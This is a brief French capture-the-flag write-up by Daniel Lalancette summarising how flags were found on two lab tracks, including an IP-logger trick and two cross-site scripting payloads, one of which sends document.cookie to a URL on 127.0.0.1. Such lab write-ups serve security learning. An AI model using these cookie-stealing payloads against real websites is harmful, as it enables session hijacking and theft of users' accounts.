

Daniel Lalancette

Track 1 (port 5551): Le premier flag est obtenu en ratant l'authentification (IP-logger). Les deux autres flags sont donnés en mettant le nom et le mot de passe donné par le premier flag (envoi d'informations personnelles sur un site douteux).

Track 2 (port 5552) : Le premier flag est obtenu en entrant `<script>alert(document.cookie)</script>` dans le champ « Showing all comments ». Le deuxième flag est obtenu en entrant `<script type="text/javascript">document.location='http://127.0.0.1/index.php?c='+document.cookie;</script>` dans le champ « Read, search and post comments ». Je n'ai pas eu le temps de faire un troisième flag.